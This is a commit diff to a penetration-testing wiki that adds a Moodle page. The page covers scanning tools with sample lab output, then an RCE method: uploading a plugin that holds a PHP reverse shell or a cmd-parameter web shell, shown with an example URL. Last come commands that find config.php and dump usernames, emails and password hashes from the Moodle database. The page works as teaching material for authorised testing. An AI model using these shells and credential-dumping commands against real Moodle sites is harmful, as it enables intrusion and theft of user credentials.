GitBook: [master] 2 pages and one asset modified

pentesting/pentesting-web/README.md

@@ -89,6 +89,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
 * [**JSP**](jsp.md)
 * [**Wordpress**](wordpress.md)
 * [**Drupal**](drupal.md)
+* \*\*\*\*[**Moodle**](moodle.md)\*\*\*\*
 * [**VMWare \(EXS, VCenter**](vmware-esx-vcenter....md)
 * [**GraphQL**](graphql.md)
 
@@ -132,8 +133,8 @@ If a CMS is used don't forget to **run a scanner**, maybe something juicy is fou
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**  
 [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** websites for Security issues. \(GUI\)  
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**: Joomla,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart  
-CMSMap**: [**\(W\)ordpress**](wordpress.md)**, \(J\)oomla,** [**\(D\)rupal**](drupal.md) **or \(M\)oodle**  
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**, Joomla, Moodle, Silverstripe,** [**Wordpress**](wordpress.md)
+CMSMap**: [**\(W\)ordpress**](wordpress.md)**, \(J\)oomla,** [**\(D\)rupal**](drupal.md) **or** [**\(M\)oodle**](moodle.md)  
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**, Joomla,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 
 ```bash
 cmsmap [-f W] -F -d <URL>

pentesting/pentesting-web/moodle.md

@@ -1,6 +1,102 @@
 # Moodle
 
-## Dump Credentials
+## Automatic Scans
+
+### droopescan
+
+```bash
+pip3 install droopescan
+droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
+
+[+] Plugins found:                                                              
+    forum http://moodle.schooled.htb/moodle/mod/forum/
+        http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
+        http://moodle.schooled.htb/moodle/mod/forum/version.php
+
+[+] No themes found.
+
+[+] Possible version(s):
+    3.10.0-beta
+
+[+] Possible interesting urls found:
+    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
+    Admin panel - http://moodle.schooled.htb/moodle/login/
+
+[+] Scan finished (0:00:05.643539 elapsed)
+```
+
+### moodlescan
+
+```bash
+#Install from https://github.com/inc0d3/moodlescan
+python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
+
+Version 0.7 - Dic/2020
+.............................................................................................................
+
+By Victor Herrera - supported by www.incode.cl
+	
+.............................................................................................................
+
+Getting server information http://moodle.schooled.htb/moodle/ ...
+
+server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
+x-powered-by   	: PHP/7.4.15
+x-frame-options	: sameorigin
+last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT
+
+Getting moodle version...
+
+Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
+
+Searching vulnerabilities...
+
+
+Vulnerabilities found: 0
+
+Scan completed.
+```
+
+### CMSMap
+
+```bash
+pip3 install cmsmap
+cmsmap http://moodle.example.com/<moodle_path>
+```
+
+### CVEs
+
+I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)\*\*\*\*
+
+## **RCE**
+
+You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab**:**
+
+![](../../.gitbook/assets/image%20%28448%29.png)
+
+If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
+
+Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** \(_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_\)
+
+{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
+
+Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle_RCE) to get a regular PHP shell with the "cmd" parameter.
+
+To access launch the malicious plugin you need to access to:
+
+```bash
+http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
+```
+
+## POST
+
+### Find database credentials
+
+```bash
+find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
+```
+
+### Dump Credentials from database
 
 ```bash
 /usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"